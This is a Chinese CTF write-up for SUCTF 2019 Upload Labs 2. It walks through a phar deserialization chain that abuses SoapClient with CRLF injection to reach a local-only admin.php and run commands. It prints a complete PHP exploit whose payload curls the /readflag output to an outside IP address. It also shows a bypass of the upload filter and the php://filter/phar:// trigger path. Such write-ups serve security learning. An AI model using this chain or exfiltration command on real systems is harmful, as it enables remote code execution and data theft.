[SUCTF 2019]Upload Labs 2(phar反序列化)

Posted on 2020-04-23,3 min read

从github上。下源码。admin.php有修改
首先就一个文件上传。和判断文件类型。
文件上传部分。已经定死了后缀名。只能是gif。jpg等
判断文件类型处。禁用了

ftp|zlib|data|glob|phar|ssh2|compress.bzip2|compress.zlib|rar|ogg|expect)(.|\\s)*|(.|\\s)*(file|data|\.\.)(.|\\s)*/i'

然后用finfo_file去判断文件类型
这里很明显存在一个phar反序列化的点。
去class.php看看

可以看到。这里存在魔术方法__wakeup。可以创建任意类。
admin.php是关键

有个可控的$cmd可以执行命令。但是得本地访问
那么大致思路就是。通过class.php的魔术方法。构造SOAP+CLRF。对admin.php任意命令执行
admin.php中还有一大串反射有关的函数
函数参考https://www.php.net/manual/zh/reflectionmethod.invoke.php

    function check(){

        $reflect = new ReflectionClass($this->clazz);
        $this->instance = $reflect->newInstanceArgs();

        $reflectionMethod = new ReflectionMethod($this->clazz, $this->func1);
        $reflectionMethod->invoke($this->instance, $this->arg1);

        $reflectionMethod = new ReflectionMethod($this->clazz, $this->func2);
        $reflectionMethod->invoke($this->instance, $this->arg2);

        $reflectionMethod = new ReflectionMethod($this->clazz, $this->func3);
        $reflectionMethod->invoke($this->instance, $this->arg3);
    }

如果这里过不去。报错了。就不能执行cmd
这里用SplStack函数构造。ReflectionMethod创建SplStack类。然后执行$this->func1的函数,$this->arg1为参数。
下面直接放exp

<?php
class File{
	public $file_name;
	public $func="SoapClient";
	public function __construct(){
		$payload='admin=1&cmd=curl "http://174.0.134.167:888/?a=`/readflag`"&clazz=SplStack&func1=push&func2=push&func3=push&arg1=123456&arg2=123456&arg3=123456';
		$this->file_name=[null,array('location'=>'http://127.0.0.1/admin.php','user_agent'=>"xxx\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: ".strlen($payload)."\r\n\r\n".$payload,'uri'=>'abc')];
	}	
}
$a=new File();
@unlink("phar.phar");
$phar=new Phar("phar.phar");
$phar->startBuffering(); 
$phar->setStub('GIF89a'.'<script language="php">__HALT_COMPILER();</script>');
$phar->setMetadata($a); 
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

没啥东西。class.php中限制了上传文件不能出现<?。而在构造phar时有个setStub参数就会出现<?php __HALT_COMPILER();?>。这里用script标签绕过
其他就没什么了。SOAP+CRLF
了解下ReflectionClass函数以及newInstanceArgs函数具体是咋回事就行了
传上去后。用
php://filter/resource=phar://upload/48cd8b43081896fbd0931d204f947663/18e2999891374a475d0687ca9f989d83.jpg绕过前缀限制。触发phar反序列化

下一篇: NPUCTF 验证🐎 (JS弱类型+原型链)→